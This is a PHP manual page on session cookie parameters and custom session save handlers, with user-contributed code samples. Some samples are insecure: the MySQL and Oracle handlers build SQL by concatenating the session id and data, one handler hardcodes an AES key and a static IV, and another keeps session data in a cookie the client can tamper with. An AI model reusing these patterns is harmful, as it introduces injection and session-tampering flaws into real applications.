session_set_cookie_params(0, '/', '.example.com');
session_start();
?>

Otherwise, you'll have 2 diffrent sessions on e.g. news.example.com and download.example.com
Ashus 18-Nov-2008 07:38
Cross-domain Cookies do work in all browsers (path '/' server '.example.com'), except the case you try it in IE6/7 and the server name is retreived from :etc/hosts: file, in that case the cookie won't be even saved.
Anonymous 14-Aug-2008 11:42
In Response to RC
>23-Apr-2008 04:45
>For anyone looking for which browsers support the HTTPOnly >flag, per my research:
>
>IE 6 SP 1 and higher.
>Firefox 3 and higher.
>Opera 9.50 and higher.

Firefox 2.0 also supports them, but only since version 2.0.0.5.

http://bugzilla.mozilla.org/show_bug.cgi?id=178993
brandan, bildungsroman.org 27-May-2008 08:55
i found it somewhat difficult to work with sessions due to the documentation not really denoting the necessity for the session name to be set via session_name() in order for session_set_cookie_params() to be of any use.  i found no reference to session_name() in this article, and my session functions would have been a disastrous mess were it not for a friend familiar with session.

so, in essence, for anybody wondering about where to start: declare a session name before using session_set_cookie_params(), otherwise you might agitate php to the point of committing some atrocity against your webserver.
RC 23-Apr-2008 07:45
For anyone looking for which browsers support the HTTPOnly flag, per my research:

IE 6 SP 1 and higher.
Firefox 3 and higher.
Opera 9.50 and higher.

As of Safari 3.1.1 (April 2008), Safari did not yet support this flag.

This cookie flag was developed by Microsoft and is slowly making its way into other browsers: http://msdn2.microsoft.com/en-us/library/ms533046.aspx
eddie at roosenmaallen dot com 15-Mar-2008 06:49
Further to "info at xyzsite dot ru" and William Leslie, Safari on OS X also doesn't honour cookies with an underscore in the subdomain.

The workaround I've found is to specify the parent domain as the cookie domain -- instead of "bad_name.example.com", set the path to ".example.com"; it's suboptimal, but gets the job done.
William Leslie 08-Feb-2008 09:32
"Info at xyzsite dot ru" writes that Internet Explorer does not correctly handle cookies whose domain contains an underscore character.

However, There's a good reason for this apparently faulty behavior: the underscore character is forbidden in DNS names.  RFC 3696 says:

"The labels ... that make up a domain name must consist of only the ASCII alphabetic and numeric characters, plus the hyphen.  No other symbols or punctuation characters are permitted, nor is blank space."

If the underscore works in Mozilla or other browsers, it's only because they are being lenient in the validation of domain names.
info at xyzsite dot ru 20-Dec-2007 08:27
Just one more bad situation - cookies in Internet Explorer do not work with '_' in domain name. FF and Opera are O.K. So if your hostname is like test_host.example.com, IE cookies will not function correctly/
dan at vespernet dot co dot uk 02-Nov-2007 11:38
The below note is an excellent example of how to 'reset' the session expiration time upon a page refresh.

However, take care to compensate for when the session expires and doesn't renew itself (a bug I believe). If the below example is run every time a script is executed, it will give an 'Undefined index <session name> error' after the session fails to renew. Precede it with and if isset() condition.

<?php
private function startSession($time = 3600, $ses = 'MYSES') {
    session_set_cookie_params($time);
    session_name($ses);
    session_start();

    // Reset the expiration time upon page load
    if (isset($_COOKIE[$ses]))
      setcookie($ses, $_COOKIE[$ses], time() + $time, "/");
}
?>

The above example states that a session will last an hour without a page refresh until it is scrapped. Upon a page refresh, the expiration time is reset back to one hour again. If you wish to give users the option of 'staying logged in forever', just feed startSession a value of '99999999', which should last about 3 years.
jordi at jcanals dot net 15-Nov-2004 05:39
Something that has taken me some time to debug: session_set_cookie_params() does not work when the domain param is just a one level domain, like it was a TLD.

I have a site in an intranet and our internal domain is .local, so trying to set the cookie session to the .local domain does not work:

session_set_cookie_params(0, '/', '.local'); // Does not work

In all test I've done, setting the domain only works for SLDs and above:

session_set_cookie_params(0 , '/', '.sld.local'); Does work

This is nothing to do with PHP but the http protocol, witch does not permit setting cookies for TLDs for obvious security reasons.
shrockc at inhsNO dot SPAMorg 18-Jun-2002 09:19
when setting the path that the cookie is valid for, always remember to have that trailing '/'.

CORRECT:
session_set_cookie_params (0, '/yourpath/');

INCORRECT:
session_set_cookie_params (0, '/yourpath');

no comment on how long it took me to realize that this was the cause of my authentication/session problems...
gavin_spam at skypaint dot com 26-Feb-2002 02:58
The first argument to session_set_cookie_params is the number of seconds in the future (based on the server's current time) that the session will expire.  So if you want your sessions to last 100 days:

$expireTime = 60*60*24*100; // 100 days
session_set_cookie_params($expireTime);

I was using time()+$expireTime, which is WRONG (a lot of the session_set_cookie_params() examples I found get this wrong, but probably don't care because they are just doing "infinite" sessions).
php at mike2k dot com 09-May-2001 02:16
[Editor's Note:

Rasmus' Solution from the PHP-General list:

Just use a session cookie (by not providing an expiry time) and add the
server's expiry timestamp to the value of the cookie.  Then when you get
that cookie sent to you, check it against your server's time and make the
decision on whether to accept the cookie or not based on that.

That way you are immune from people not having their system clocks set
right.

-Rasmus

--zak@php.net]

A couple things I noticed when using this. I think it only works if you set the session_set_cookie_params() function BEFORE the session_start() function.

Also, when you set the "lifetime" on the cookie, it takes the seconds offset from the SERVER. it sends the cookie encoded to timeout at the SERVER time. So if your server is +2 minutes ahead of the client, and you set the cookie to timeout after 30 seconds, the client actually has 2 minutes and 30 seconds before the cookie times out. I don't know if there's any way that this can be patched in future versions, and the only alternative I think is setting cookies in javascript, which is hardly the point when using all these specific session functions.


Устанавливает пользовательские обработчики хранения сессии

  • « session_set_cookie_params
  • session_start »
  • PHP Manual
  • Функции для работы с сессиями
  • Устанавливает пользовательские обработчики хранения сессии

session_set_save_handler

(PHP 4, PHP 5, PHP 7, PHP 8)

session_set_save_handler — Устанавливает пользовательские обработчики хранения сессии

Описание

session_set_save_handler(
callable $open,
callable $close,
callable $read,
callable $write,
callable $destroy,
callable $gc,
callable $create_sid = ?,
callable $validate_sid = ?,
callable $update_timestamp = ?
): bool

Также возможно зарегистрировать следующий прототип:

session_set_save_handler(object $sessionhandler, bool $register_shutdown = true): bool

session_set_save_handler() устанавливает пользовательские обработчики хранения сессии, которые используются для сохранения и получения данных, связанных с сессией. Это особенно полезно, когда предпочтительным является метод хранения, отличный от тех, которые предоставляются сессиями PHP, например, хранение данных сессии в локальной базе данных.

Список параметров

Данная функция имеет два определения (прототипа).

sessionhandler

Экземпляр класса, реализующий интерфейс SessionHandlerInterface и необязательные SessionIdInterface и/или SessionUpdateTimestampHandlerInterface, такой как SessionHandler, для регистрации в качестве обработчика сессии.

register_shutdown

Зарегистрировать session_write_close() как функцию register_shutdown_function().

или
open

Callback-функция со следующей сигнатурой:

open(string $savePath, string $sessionName): bool

Callback-функция open работает как конструктор в классах и выполняется при открытии сессии. Это первая callback-функция, которая выполняется, когда сессия стартует автоматически либо вручную через session_start(). Возвращаемое значение true в случае успешного выполнения, false в случае неудачи.

close

Callback-функция со следующей сигнатурой:

close(): bool

Callback-функция close работает как деструктор в классах и выполняется после того, как была вызвана callback-функция write. Она также вызывается при вызове session_write_close(). Возвращаемое значение должно быть true в случае успешного выполнения, false в случае неудачи.

read

Callback-функция со следующей сигнатурой:

read(string $sessionId): string

Callback-функция read должна всегда возвращать кодированную (сериализованную) строку сессии или пустую строку, если нет данных для чтения.

Эта callback-функция вызывается внутренним механизмом PHP при старте сессии или при вызове session_start(). Перед тем, как будет вызвана эта callback-функция, PHP вызовет callback-функцию open.

Возвращаемое значение данной callback-функции должно быть в точно таком же сериализованном формате, который изначально передавался для хранения в callback-функцию write. Возвращаемое значение будет автоматически десериализовано PHP и использовано для заполнения суперглобальной переменной $_SESSION. Даже если данные похожи на результат serialize(), стоит помнить, что это другой формат сериализации, который определён ini-директивой session.serialize_handler.

write

Callback-функция со следующей сигнатурой:

write(string $sessionId, string $data): bool

Callback-функция write вызывается, когда сессия должна быть сохранена и закрыта. Данная callback-функция принимает идентификатор текущей сессии и сериализованную версию суперглобальной переменной $_SESSION. Используемый внутри PHP метод сериализации определён ini-директивой session.serialize_handler.

Переданные в эту callback-функцию сериализованные данные сессии должны быть сохранены в связи с переданным идентификатором сессии. При получении этих данных, callback-функция read должна вернуть то же самое значение, что было передано в callback-функцию write.

Данная callback-функция вызывается, когда PHP завершает работу или явно при вызове session_write_close(). Следует помнить, что после выполнения этой callback-функции, PHP выполнит callback-функцию close.

Замечание:

Обработчик "write" не выполнится до тех пор, пока выходной поток не будет закрыт. Таким образом, вывод отладочных операторов в обработчике "write" никогда не отобразится в браузере. Если необходим вывод отладочной информации, рекомендуется записывать отладочные данные в файл.

destroy

Callback-функция со следующей сигнатурой:

destroy(string $sessionId): bool

Данная callback-функция вызывается, когда сессия уничтожается с помощью session_destroy() или при вызове session_regenerate_id() с параметром destroy, установленным в true. Возвращаемое значение должно быть true в случае успешного выполнения, false в случае неудачи.

gc

Callback-функция со следующей сигнатурой:

gc(int $lifetime): bool

Callback-функция сборщика мусора периодически вызывается PHP для очистки данных старых сессий. Частота контролируется директивами session.gc_probability и session.gc_divisor. Значение lifetime, которое передаётся в данную callback-функцию может быть установлено в session.gc_maxlifetime. Возвращаемое значение должно быть true в случае успешного выполнения, false в случае неудачи.

create_sid

Callback-функция со следующей сигнатурой:

create_sid(): string

Данная callback-функция выполняется, когда требуется новый идентификатор сессии. Не предусматривает параметров, а возвращаемое значение должно быть строкой, которая является допустимым идентификатором сессии для вашего обработчика.

validate_sid

Callback-функция со следующей сигнатурой:

validate_sid(string $key): bool

Callback-функция выполняется, когда должна быть запущена сессия, предоставляется идентификатор сессии и включается session.use_strict_mode. key - это идентификатор сессии для проверки. Идентификатор сессии действителен, если сессия с таким идентификатором уже существует. Возвращаемое значение должно быть true в случае успешного выполнения или false в случае возникновения ошибки.

update_timestamp

Callback-функция со следующей сигнатурой:

update_timestamp(string $key, string $val): bool

Callback-функция выполняется при сессии. key - это идентификатор сессии, val - это данные сессии. Возвращаемое значение должно быть true в случае успешного выполнения или false в случае возникновения ошибки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пользовательский обработчик сессии: полный код смотрите в описании SessionHandlerInterface.

Здесь только продемонстрирован вызов session_set_save_handler, полный пример можно посмотреть в описании SessionHandlerInterface.

Заметьте, что с session_set_save_handler() мы используем ООП-прототип и регистрируем функцию завершения, используя флаг параметра функции. Это обычно рекомендуется при регистрации объектов в качестве обработчиков хранения сессии.

<?php
class MySessionHandler implements SessionHandlerInterface
{
// здесь реализация интерфейса
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_start();

// устанавливаем и получаем значения по ключу из $_SESSION

Примечания

Внимание

Обработчики write и close вызываются после деструктора объекта и поэтому не могут использовать его контекст или бросать исключения. Исключения не могут быть обработаны, так как не будут пойманы, не будет отражена трассировка стека исключения и выполнение просто прекратится неожиданно. Однако при этом, деструкторы объекта могут использовать сессии.

Можно вызвать session_write_close() из деструктора, чтобы решить эту проблему "курицы и яйца", но самый надёжный способ - это регистрировать функцию завершения, как описано выше.

Внимание

Текущий рабочий каталог изменяется некоторыми SAPI, если сессия закрывается при завершении скрипта. Завершить сессию можно раньше с помощью session_write_close().

Смотрите также

  • Директива session.save_handler
  • Директива session.serialize_handler
  • register_shutdown_function() - Регистрирует функцию, которая выполнится при завершении работы скрипта
  • session_register_shutdown() - Функция завершения сессии
  • Обратитесь к » save_handler.inc для полного набора рекомендаций по реализации

User Contributed Notes

biba dot vasyl at gmail dot com 09-Feb-2024 07:23
if you use the interface (SessionHandlerInterface) to implement the storage of the session in the mysql database, it is not clear what the read method should return, because the return is specified in the interface: string|false, that is, if I refer to the type:
public function read(string $id): string|false {
      if ($id) {
            $sql = "SELECT `session_id`, `data` FROM `session` WHERE `session_id` = '" . $this->db->escape($id) . "'";
            pp($sql);
            $query = $this->db->query($sql);
            if ($query->num_rows) {
                //return (isset($query->one['data']) ? (array)json_decode($query->one['data'], true) : []);
                return $query->one['session_id'];
            } else {
                return '';
            }
      }
      return false;
}
ref.: https://www.php.net/manual/ru/sessionhandlerinterface.read.php
then I will receive an error response of the following plan: Error #: 2, message: session_start(): Failed to decode session object. Session has been destroyed
polygon dot co dot in at gmail dot com 11-Aug-2023 09:44
How to use Cookie for managing session data with encryption.

<?php
class MySessionHandler implements SessionHandlerInterface
{
    function __construct()
    {
        // Store the key and IV somewhere safe
        //$key = openssl_random_pseudo_bytes(32); // 256-bit key
        //$iv = openssl_random_pseudo_bytes(16); // 128-bit IV

        // Store the base64 key and IV somewhere safe
        //$key_base64 = base64_encode($key);
        //$iv_base64 = base64_encode($vi);

        // Use the store base64 key and IV below
        $key_base64 = 's8Livn/jULM6HDdPY76E3aXtfELdleTaqOC8HgTfW7M=';
        $iv_base64 = 'nswqKP23TT+deVNuaV5nXQ==';
        $this->key = base64_decode($key_base64);
        $this->iv = base64_decode($iv_base64);
    }

    // Encryption
    function encryptSess($plaintext)
    {
        return openssl_encrypt($plaintext, 'AES-256-CBC', $this->key, OPENSSL_RAW_DATA, $this->iv);
    }

    // Decryption
    function decryptSess($ciphertext)
    {
        return openssl_decrypt($ciphertext, 'AES-256-CBC', $this->key, OPENSSL_RAW_DATA, $this->iv);
    }

    public function open($savePath, $sessionName): bool
    {
        ob_start(); // Turn on output buffering
        return true;
    }

    public function close(): bool
    {
        return true;
    }

    #[\ReturnTypeWillChange]
    public function read($id)
    {
        if (isset($_COOKIE[session_name()])) {
            return (string)$this->decryptSess(base64_decode($_COOKIE[session_name()]));
        } else {
            return '';
        }
    }

    public function write($id, $data): bool
    {
        $op = ob_get_clean();
        $encryptedData = base64_encode($this->encryptSess($data));
        setcookie(session_name(), $encryptedData, time() + (ini_get("session.gc_maxlifetime")), '/');
        echo $op;

        return true;
    }

    public function destroy($id): bool
    {
        return true;
    }

    #[\ReturnTypeWillChange]
    public function gc($maxlifetime)
    {
        return true;
    }
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_start();
var_dump($_SESSION);
$_SESSION['id'] = 10000;

echo '<br/>Hello World';
?>
polygon dot co dot in at gmail dot com 01-Jan-2023 12:41
Although, session_set_save_handler() has support for saving session data via other modes, This does not support a way for saving session data in COOKIES. This is required for a site with a huge concurrent request the recommended solution by session_set_save_handler() does not fit the load site is handling.
So, the other way around to do this is as below.

<?php
// start.php
ob_start(); // Turn on output buffering

$sessCookieName = session_name();
$_SESSION = json_decode(base64_decode($_COOKIE[$sessCookieName]), true);

// Code
function echosess() {
    echo $_SESSION['id'];
}
echosess();
$_SESSION['id'] = 1;

// end.php
$op = ob_get_clean(); // Get current buffer contents and delete current output buffer
$encryptedData = base64_encode(json_encode($_SESSION));
setcookie($sessCookieName, $encryptedData, time() + (ini_get("session.gc_maxlifetime")), '/');
echo $op;
?>

If more security is required about the data of the session in cookie, then key based encryption/decryption can solve the issue.
polygon dot co dot in at gmail dot com 06-Nov-2021 07:39
Below is a demo to check the order in which session function executes.

<?php

ini_set('session.use_strict_mode',true);

function sess_open($sess_path, $sess_name) {
    echo '<br/>sess_open';
    return true;
}

function sess_close() {
    echo '<br/>sess_close';
    return true;
}

function sess_read($sess_id) {
    echo '<br/>sess_read';
    return '';
}

function sess_write($sess_id, $data) {
    echo '<br/>sess_write';
    return true;
}

function sess_destroy($sess_id) {
    echo '<br/>sess_destroy';
    return true;
}

function sess_gc($sess_maxlifetime) {
    echo '<br/>sess_gc';
    return true;
}

function sess_create_sid() {
    echo '<br/>sess_create_sid';
    return 'RNS'.rand(0,10);
}

function sess_validate_sid($sess_id) {
    echo '<br/>sess_validate_sid';
    return true;
}

function sess_update_timestamp($sess_id,$data) {
    echo '<br/>sess_update_timestamp';
    return true;
}

session_set_save_handler(
    'sess_open',
    'sess_close',
    'sess_read',
    'sess_write',
    'sess_destroy',
    'sess_gc',
    'sess_create_sid',
    'sess_validate_sid',
    'sess_update_timestamp'
);

session_start();

echo '<br/>code here...';

?>

O/P Below when above code executed first time.
sess_open
sess_create_sid
sess_read
code here...
sess_write
sess_close

O/P Below for next execution.
sess_open
sess_validate_sid
sess_read
code here...
sess_write
sess_close
tony at marston-home dot demon dot co dot uk 10-Jun-2018 03:43
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.
peter at brandrock dot co dot za 12-Apr-2018 06:33
If saving to a database, as in the examples on this page, for performance, consider the following.

Build the Sessions table with an index on the SessionExpires column to quickly identify rows to be deleted in the garbage collection phase.

Rather do a garbage collection "delete from sessions where expiresOn < $now" on every session start/open. If you have an index on expiry time, this will not be a big hit, and evens out the load across all users. If it is possible that a large number of sessions will expire at the same time, include a "limit 100" clause, set for whatever number is reasonable, so that each user shares the load.

Use a varchar rather than Text to store the data, as Text will store the column off-page and is retrieved slightly slower. Use Text only if your application really does store large amounts of text in the session.
ohcc at 163 dot com 16-Dec-2017 04:36
As of PHP 7.0, you can implement SessionUpdateTimestampHandlerInterface to
define your own session id validating method like validate_sid and the timestamp updating method like update_timestamp in the non-OOP prototype of session_set_save_handler().

SessionUpdateTimestampHandlerInterface is a new interface introduced in PHP 7.0, which has not been documented yet. It has two abstract methods: SessionUpdateTimestampHandlerInterface :: validateId($sessionId) and SessionUpdateTimestampHandlerInterface :: updateTimestamp($sessionId, $sessionData).

<?php
    /*
       @author Wu Xiancheng
       Code structure for PHP 7.0+ only because SessionUpdateTimestampHandlerInterface is introduced in PHP 7.0
       With this class you can validate php session id and update the timestamp of php session data
       with the OOP prototype of session_set_save_handler() in PHP 7.0+
    */
    class PHPSessionXHandler implements SessionHandlerInterface, SessionUpdateTimestampHandlerInterface {
        public function close(){
            // return value should be true for success or false for failure
            // ...
        }
        public function destroy($sessionId){
            // return value should be true for success or false for failure
            // ...
        }
        public function gc($maximumLifetime){
            // return value should be true for success or false for failure
            // ...
        }
        public function open($sessionSavePath, $sessionName){
            // return value should be true for success or false for failure
            // ...
        }
        public function read($sessionId){
            // return value should be the session data or an empty string
            // ...
        }
        public function write($sessionId, $sessionData){
            // return value should be true for success or false for failure
            // ...
        }
        public function create_sid(){
            // available since PHP 5.5.1
            // invoked internally when a new session id is needed
            // no parameter is needed and return value should be the new session id created
            // ...
        }
        public function validateId($sessionId){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true if the session id is valid otherwise false
            // if false is returned a new session id will be generated by php internally
            // ...
        }
        public function updateTimestamp($sessionId, $sessionData){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true for success or false for failure
            // ...
        }
    }
?>
ohcc at 163 dot com 16-Dec-2017 07:57
What is not documented is that callables $validate_sid and $update_timestamp are supported since PHP 7.0. for the
 prototype of "bool session_set_save_handler ( callable $open , callable $close , callable $read , callable $write , callable $destroy , callable $gc [, callable $create_sid [, callable $validate_sid [, callable $update_timestamp ]]] )".

validate_sid($sessionId)
  This callback is to validate $sessionId. Its return value should be true for valid session id $sessionId or false for invalid session id $sessionId. If false is returned, a new session id is generated to replace the invalid session id $sessionId.

update_timestamp($sessionId)
  This call back is to update timestamp, and its return value should be true for success or false for failure.

If you use this prototype, if you provide less than 6 parameters or if you provide more parameters than session_set_save_handler() accepts, you will get a "Wrong parameter count for session_set_save_handler()" warning.

If you use the OOP prototype of session_set_save_handler(SessionHandlerInterface $sessionhandler [, bool $register_shutdown = true ] ), a member method named neither validate_sid nor update_timestamp of the class of $sessionhandler are not invoked even in PHP 7.2, but a member method named create_sid is supported as of PHP 5.5.1.

It's 16th December, 2017 today, the documetation even PHP may get updated sometime afterwards.
centurianii at yahoo dot co dot uk 05-Sep-2017 12:57
Adding to the very useful class from: andreipa at gmail dot com

1. You should handle session expiration & data I/O from the SessionHandlerInterface methods,
2. You should NOT handle session regeneration and data modification from these methods but from a static method, e.g. sth like Session::start().
3. PHP gives a lot of examples but does NOT say what's the perspective under which one should work.

A skeleton of such a class:
namespace xyz;
class Session implements \SessionHandlerInterface, Singleton {
   /** @var SessionToken $token The SessionToken of this command;
          this is part of my programming approach */
   protected $token;
   /** @var PDO $dbh The PDO handler to the database */
   protected $dbh;
   /** @var $savePath Where sessions are stored */
   protected $savePath;
   /** @var $type Type of sessions (['files'|'sqlite']) */
   protected $type;
   /** @var self $instance An instance of this class */
   static private $instance = null;

   private function __construct() { ... }
   static public function getInstance() {
      if (self::$instance === null) {
         self::$instance = new self();
      }
      return self::$instance;
   }
   public function open($savePath, $sessionName) { ... }
   public function close() {
      if ($this->type == static::FILES) {
         return true;
      } elseif ($this->type == static::SQLITE) {
         return true;
      }
   }
   public function read($id) { ... }
   public function write($id, $data) { ... }
   public function destroy($id) { ... }
   public function gc($maxlifetime) { ... }
   static public function get($key) {
      return (isset($_SESSION[$key]))? $_SESSION[$key] : null;
   }
   static public function set($key, $value) {
      return $_SESSION[$key] = $value;
   }
   static public function newId() {...}
   static public function start($call = null, $log = false) {
      //1. start session (send 1st header)
      if (session_status() != PHP_SESSION_ACTIVE) {
         session_start();   //calls: open()->read()
      }

      //2. $_SESSION['session']: array of session control data
      // existed session
      if (is_array(static::get('session'))) {
         $session = static::get('session');
      // new session
      } else {
         $session = array();
      }

      $tmp = $_SESSION;
      //do sth with $session array...
      static::set('session', $session);
      session_write_close();   //calls: write()->read()->close()
      //create a new session inside if...else...
      session_id(static::newId());
      session_start();   //calls: open()->read()
      //if you want previous session data to be copied:
      //$_SESSION = $tmp;
      //do sth else with $session array and save it to new session...
      static::set('session', $session);

      //6. call callback function (only on valid/new sessions)
      if ($call)
         $call();
      session_write_close();   //calls: write()->read()->close()
   }
   /**
    * Defines custom session handler.
    */
   static public function setHandler() {
      // commit automatic session
      if (ini_get('session.auto_start') == 1) {
         session_write_close();
      }
      $handler = static::getInstance();
      session_set_save_handler($handler, true);
   }
}

Let's start a session:
Session::setHandler();
Session::start();

Trying for hours to trace my error where the 3rd Session::read() ended to use a null Session::dbh until I realized that Session::close() should NOT destroy properties of this class!
Also I avoid the use of session_create_id() as it's only for PHP 7 >= 7.1.0 and I use in place a static Session::newId().
nickleus 20-Jan-2017 03:52
i dont see any mention of what happens when eg "open" calls "die", like mentioned in docs for "register_shutdown_function":

"If you call exit() within one registered shutdown function, processing will stop completely and no other registered shutdown functions will be called."

http://php.net/manual/en/function.register-shutdown-function.php

my result: same behavior--"read" will not get called if "open" calls "die"/"exit".
shanikawm at gmail dot com 27-Jun-2016 11:45
Here is a class to handle session using an Oracle table.
https://github.com/shanikawm/PHP_Oracle_Based_Session_Handler_Class

<?php
/**
 * By Shanika Amarasoma
 * Date: 6/24/2016
 * PHP session handler using Oracle database
 * Oracle Create table statement
        CREATE TABLE PHP_SESSIONS
        (
            SESSION_ID  VARCHAR2(256 BYTE) UNIQUE,
            DATA        CLOB,
            TOUCHED     NUMBER(38)
        );
 */
class session_handler implements SessionHandlerInterface
{
    private $con;
    public function __construct() {
        if(!$this->con=oci_pconnect(DBUSER,DBPASS,CONNECTION_STR)){
            die('Database connection failed !');
        }
    }
    public function open($save_path ,$name){
        return true;
    }
    public function close(){
        return true;
    }
    public function read($session_id){
        $query = "SELECT \"DATA\" FROM PHP_SESSIONS WHERE SESSION_ID=Q'{" . $session_id . "}'";
        $stid = oci_parse($this->con, $query);
        oci_execute($stid, OCI_DEFAULT);
        $row = oci_fetch_array($stid, OCI_ASSOC + OCI_RETURN_LOBS);
        oci_free_statement($stid);
        return $row['DATA'];
    }
    public function write($session_id,$session_data){
        $dquery="DELETE FROM PHP_SESSIONS WHERE SESSION_ID=Q'{".$session_id."}'";
        $dstid = oci_parse($this->con,$dquery);
        oci_execute($dstid, OCI_NO_AUTO_COMMIT);
        oci_free_statement($dstid);
        $query="INSERT INTO PHP_SESSIONS(SESSION_ID,TOUCHED,\"DATA\") VALUES(Q'{".$session_id."}',".time().",EMPTY_CLOB()) RETURNING \"DATA\" INTO :clob";
        $stid = oci_parse($this->con,$query);
        $clob=oci_new_descriptor($this->con,OCI_D_LOB);
        oci_bind_by_name($stid, ':clob', $clob, -1, OCI_B_CLOB);
        if(!oci_execute($stid, OCI_NO_AUTO_COMMIT)){
            @oci_free_statement($stid);
            return false;
        }
        if($clob->save($session_data)){
            oci_commit($this->con);
            $return=true;
        } else {
            oci_rollback($this->con);
            $return=false;
        }
        $clob->free();
        oci_free_statement($stid);
        return $return;
    }
    public function destroy($session_id){
        $query="DELETE FROM PHP_SESSIONS WHERE SESSION_ID=Q'{".$session_id."}'";
        $stid = oci_parse($this->con,$query);
        oci_execute($stid, OCI_DEFAULT);
        $rows=oci_num_rows($stid);
        oci_commit($this->con);
        oci_free_statement($stid);
        if($rows>0){
            return true;
        } else {
            return false;
        }
    }
    public function gc($maxlifetime){
        $query="DELETE FROM PHP_SESSIONS WHERE TOUCHED<".(time()-$maxlifetime);
        $stid = oci_parse($this->con,$query);
        oci_execute($stid, OCI_DEFAULT);
        $rows=oci_num_rows($stid);
        oci_commit($this->con);
        oci_free_statement($stid);
        if($rows>0){
            return true;
        } else {
            return false;
        }
    }
}
session_set_save_handler(new session_handler(), true);
session_start();
carlos dot vini at gmail dot com 05-Jan-2016 01:25
If you have a custom handler registered ini_get('session.save_handler') will return 'user' instead of 'file'
andreipa at gmail dot com 29-Oct-2015 03:05
After spend so many time to understand how PHP session works with database and unsuccessful attempts to get it right, I decided to rewrite the version from our friend stalker.

//Database
CREATE TABLE `Session` (
  `Session_Id` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
  `Session_Expires` datetime NOT NULL,
  `Session_Data` text COLLATE utf8_unicode_ci,
  PRIMARY KEY (`Session_Id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
SELECT * FROM mydatabase.Session;

<?php
//inc.session.php

class SysSession implements SessionHandlerInterface
{
    private $link;

    public function open($savePath, $sessionName)
    {
        $link = mysqli_connect("server","user","pwd","mydatabase");
        if($link){
            $this->link = $link;
            return true;
        }else{
            return false;
        }
    }
    public function close()
    {
        mysqli_close($this->link);
        return true;
    }
    public function read($id)
    {
        $result = mysqli_query($this->link,"SELECT Session_Data FROM Session WHERE Session_Id = '".$id."' AND Session_Expires > '".date('Y-m-d H:i:s')."'");
        if($row = mysqli_fetch_assoc($result)){
            return $row['Session_Data'];
        }else{
            return "";
        }
    }
    public function write($id, $data)
    {
        $DateTime = date('Y-m-d H:i:s');
        $NewDateTime = date('Y-m-d H:i:s',strtotime($DateTime.' + 1 hour'));
        $result = mysqli_query($this->link,"REPLACE INTO Session SET Session_Id = '".$id."', Session_Expires = '".$NewDateTime."', Session_Data = '".$data."'");
        if($result){
            return true;
        }else{
            return false;
        }
    }
    public function destroy($id)
    {
        $result = mysqli_query($this->link,"DELETE FROM Session WHERE Session_Id ='".$id."'");
        if($result){
            return true;
        }else{
            return false;
        }
    }
    public function gc($maxlifetime)
    {
        $result = mysqli_query($this->link,"DELETE FROM Session WHERE ((UNIX_TIMESTAMP(Session_Expires) + ".$maxlifetime.") < ".$maxlifetime.")");
        if($result){
            return true;
        }else{
            return false;
        }
    }
}
$handler = new SysSession();
session_set_save_handler($handler, true);
?>

<?php
//page 1
require_once('inc.session.php');

session_start();

$_SESSION['var1'] = "My Portuguese text: SOU Gaucho!";
?>

<?php
//page 2
require_once('inc.session.php');

session_start();

if(isset($_SESSION['var1']){
echo $_SESSION['var1'];
}
//OUTPUT: My Portuguese text: SOU Gaucho!
?>
dimzon541 at gmail dot com 06-Sep-2015 11:23
Persisting PHP sessions into mongodb (allows NLB without affinity)
https://gist.github.com/dimzon/62eeb9b8561bcb9f0c6d
Steven George 17-Feb-2014 02:05
Note that as well as destructing objects before calling write() and close(), it seems PHP also destroys classes.  That is, you can't even call a static method of an external class in the write() and close() handlers - PHP will issue a Fatal error stating "Class xxxx not found"
cmanley 21-Aug-2013 03:20
Below is a session id value validator I just wrote. It is especially important to validate session id cookie values when using a custom file based validator, otherwise hackers could potentially trick it into overwriting non-session files.

/**
* Validates the value (the session id) of a session cookie.
* Useful for detecting potential hack attempts.
* It is up to the caller to delete the cookie if necessary.
* See also: http://lxr.php.net/xref/PHP_TRUNK/ext/session/session.c#php_session_valid_key
*
* @param string $value
* @param boolean $debug
* @return boolean
*/
function session_validate($cookie_value, $debug = false) {
    // session.hash_function allows you to specify the hash algorithm used to generate the session IDs. '0' means MD5 (128 bits) and '1' means SHA-1 (160 bits). Since PHP 5.3.0 it is also possible to specify any of the algorithms provided by the hash extension (if it is available), like sha512 or whirlpool. A complete list of supported algorithms can be obtained with the hash_algos() function.
    // session.hash_bits_per_character allows you to define how many bits are stored in each character when converting the binary hash data to something readable. The possible values are '4' (0-9, a-f), '5' (0-9, a-v), and '6' (0-9, a-z, A-Z, "-", ",").
    if (!(isset($cookie_value) && is_string($cookie_value) && strlen($cookie_value))) {
        return false;
    }
    $bits = null;
    if (1) {
        $hash_function = ini_get('session.hash_function');
        $hash_function_to_bits = array(
            0    => 128,
            1    => 160,
        );
        $bits = @$hash_function_to_bits[$hash_function];
    }
    $bits_per_char = ini_get('session.hash_bits_per_character');
    $bits_per_char_to_charclass = array(
        4    => '0-9a-f',
        5    => '0-9a-v',
        6    => '0-9a-zA-Z\-,',    // this is also the default
    );
    $charclass = array_key_exists($bits_per_char, $bits_per_char_to_charclass) ? $bits_per_char_to_charclass[$bits_per_char] : $bits_per_char_to_charclass[6];
    $charlength = $bits ? (integer)ceil($bits / $bits_per_char) : '1,128'; // the last value is a somewhat arbitrary default
    $re = '/^[' . $charclass . ']{' . $charlength . '}$/';
    $result = preg_match($re, $cookie_value);
    $debug && error_log(__FUNCTION__ . ' regexp: ' . $re . "\tresult: " .intval($result));
    return $result;
}
jamesbenson944 at hotmail dot com 04-Jul-2013 09:29
I'm not using objects for the save handlers I'm using functions but still get weird behaviour with session writing not being called.

This fixes the problem though:
register_shutdown_function('session_write_close');
Rusty X 06-Mar-2012 09:39
It is important to understand that PHP's default file-based session handling LOCKS the session file, inherently allowing ONLY ONE thread handling any given session at a time.
When you implement a DB-backed session storage and you do not do any locking, you may run into situations where more than one thread is serving the same session, and you may LOSE DATA because the second thread will overwrite any session changes done by the first thread.
